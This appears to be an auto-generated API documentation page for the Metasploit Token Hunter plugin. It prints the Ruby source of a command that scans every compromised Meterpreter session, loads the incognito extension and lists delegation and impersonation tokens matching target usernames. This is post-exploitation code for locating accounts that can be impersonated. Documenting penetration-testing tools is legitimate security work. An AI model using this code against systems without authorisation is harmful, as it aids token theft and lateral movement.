Class: Msf::Plugin::TokenHunter::TokenCommandDispatcher

Inherits:
Object
  • Object
show all
Includes:
Ui::Console::CommandDispatcher
Defined in:
plugins/token_hunter.rb

Instance Attribute Summary

Attributes included from Ui::Console::CommandDispatcher

#driver

Attributes included from Rex::Ui::Text::DispatcherShell::CommandDispatcher

#shell, #tab_complete_items

Instance Method Summary collapse

Methods included from Ui::Console::CommandDispatcher

#active_module, #active_module=, #active_session, #active_session=, #build_range_array, #docs_dir, #framework, #initialize, #log_error, #remove_lines

Methods included from Rex::Ui::Text::DispatcherShell::CommandDispatcher

#cmd_help, #cmd_help_help, #cmd_help_tabs, #deprecated_cmd, #deprecated_commands, #deprecated_help, #docs_dir, #help_to_s, #initialize, #print, #print_error, #print_good, #print_line, #print_status, #print_warning, #tab_complete_directory, #tab_complete_filenames, #tab_complete_generic, #tab_complete_source_address, #update_prompt

Instance Method Details

#cmd_token_hunt_user(*args) ⇒ Object


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# File 'plugins/token_hunter.rb', line 23

def cmd_token_hunt_user(*args)

  opts = Rex::Parser::Arguments.new(
    "-h"   => [ false,  "This help menu"],
    "-f"   => [ true,   "A file containing a list of users to search for (one per line)"]
  )

  opt_userfile  = nil
  opt_users     = []

  opts.parse(args) do |opt, idx, val|
    case opt
    when "-h"
      print_line("Usage: token_hunt_user [options] <username> [username] .. [username]")
      print_line(opts.usage)
      return
    when "-f"
      opt_userfile = val
    else
      opt_users << val
    end
  end

  if(opt_userfile)
    ::File.open(opt_userfile, "rb") do |fd|
      fd.each_line do |line|
        line.strip!
        next if line.empty?
        next if line =~ /^#/
        opt_users << line
      end
    end
  end

  opt_users.uniq!

  tokens_del = {}
  tokens_imp = {}

  framework.sessions.each_key do |sid|
    session = framework.sessions[sid]
    next if session.type != "meterpreter"

    print_status(">> Scanning session #{session.sid} / #{session.session_host}")

    if(! session.incognito)
      session.core.use("incognito")
    end

    if(! session.incognito)
      print_status("!! Failed to load incognito on #{session.sid} / #{session.session_host}")
      next
    end

    res = session.incognito.incognito_list_tokens(0)
    if(res)
      res["delegation"].split("\n").each do |user|

        opt_users.each do |needle|

          ndom,nusr = needle.split("\\")
          if(not nusr)
            nusr = ndom
            ndom = nil
          end

          if(not user.nil? and ndom and user.strip.downcase == needle.strip.downcase)
            print_status("FOUND: #{session.sid} - #{session.session_host} - #{user} (delegation)")
            next
          end

          fdom,fusr = user.split("\\")

          if (not fusr.nil? and ! ndom and fusr.strip.downcase == nusr.strip.downcase)
            print_status("FOUND: #{session.sid} - #{session.session_host} - #{user} (delegation)")
          end
        end

        tokens_del[user] ||= []
        tokens_del[user] << session.sid
      end


      res["impersonation"].split("\n").each do |user|

        opt_users.each do |needle|
          ndom,nusr = needle.split("\\")
          if(not nusr)
            nusr = ndom
            ndom = nil
          end

          if(not user.nil? and ndom and user.strip.downcase == needle.strip.downcase)
            print_status(">> Found #{session.sid} - #{session.session_host} - #{user} (impersonation)")
            next
          end

          fdom,fusr = user.split("\\")
          if (not fusr.nil? and ! ndom and fusr.strip.downcase == nusr.strip.downcase)
            print_status(">> Found #{session.sid} - #{session.session_host} - #{user} (impersonation)")
          end
        end

        tokens_imp[user] ||= []
        tokens_imp[user] << session.sid
      end
    end
  end
end

#commandsObject


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# File 'plugins/token_hunter.rb', line 17

def commands
  {
    'token_hunt_user'        => "Scan all connected meterpreter sessions for active tokens corresponding to one or more users"
  }
end

#nameObject


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# File 'plugins/token_hunter.rb', line 13

def name
  "Token Hunter"
end